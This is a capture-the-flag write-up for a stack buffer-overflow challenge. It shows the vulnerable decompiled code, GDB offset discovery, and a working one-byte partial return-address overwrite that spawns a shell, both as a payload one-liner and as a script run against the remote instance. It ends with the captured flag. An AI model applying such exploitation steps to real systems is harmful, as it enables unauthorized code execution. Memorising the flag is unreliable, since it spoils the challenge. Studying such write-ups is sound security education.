fno-stack-protector
3 minutes to read
We are given a 64-bit binary called main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
If we open the binary in Ghidra we see these functions:
void bad_function() {
execve("/bin/sh", NULL, NULL);
}
void vuln() {
char data[10];
read(0, data, 170);
}
int main() {
setvbuf(stderr, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
vuln();
return 0;
}
There exists a Buffer Overflow vulnerability. Notice that data
is a character array of 10 bytes, and the program reads up to 170 bytes. Hence, we are able to overwrite values on the stack (for instance, the return address).
The idea is to overwrite the return address with the address of bad_function
. However, PIE is enabled, so the real addresses of the binary functions are randomized at the beginning.
For the moment, let’s use GDB to find the offset we need to overwrite the return address:
$ gdb -q main
Reading symbols from main...
(No debugging symbols found in main)
gef➤ pattern create 30
[+] Generating a pattern of 30 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./main
aaaaaaaabaaaaaaacaaaaaaadaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551b2 in vuln ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 18 (little-endian search) likely
[+] Found at offset 23 (big-endian search)
Alright, we need 18 bytes to reach the position where the return address is stored. Let’s set a breakpoint right here and run it again to enter exactly 18 bytes (17 plus new line character):
gef➤ break
Breakpoint 1 at 0x5555555551b2
gef➤ run
Starting program: ./main
AAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00005555555551b2 in vuln ()
gef➤ x/10gx $rsp - 0x10
0x7fffffffe668: 0x4141414141414141 0x0a41414141414141
0x7fffffffe678: 0x0000555555555201 0x0000000000000000
0x7fffffffe688: 0x00007ffff7de1083 0x00007ffff7ffc620
0x7fffffffe698: 0x00007fffffffe778 0x0000000100000000
0x7fffffffe6a8: 0x00005555555551b3 0x0000555555555230
gef➤ x $rsp
0x7fffffffe678: 0x0000555555555201
gef➤ backtrace
#0 0x00005555555551b2 in vuln ()
#1 0x0000555555555201 in main ()
Backtrace stopped: Cannot access memory at address 0xa41414141414149
gef➤ p bad_function
$1 = {<text variable, no debug info>} 0x555555555208 <bad_function>
Taking a closer look, we see that the return address and the address of bad_function
differ just in the last byte, so we are able to overflow a single byte and redirect the execution to bad_function
.
This can be done manually:
$ (echo -ne 'AAAAAAAAAAAAAAAAAA\x08'; cat) | ./main
ls
main solve.py
Or using a Python script to connect to the remote instance:
$ python3 solve.py blackhat2-7c9ff8336e7deb83a4583a4529a7c0a8-0.chals.bh.ctf.sa
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to blackhat2-7c9ff8336e7deb83a4583a4529a7c0a8-0.chals.bh.ctf.sa on port 443: Done
[*] Switching to interactive mode
$ cat flag.txt
BlackHatMEA{96:21:368fd8bb8dffb88a9690546fb5d3ee9f27464b6c}
The full exploit can be found in here: solve.py
.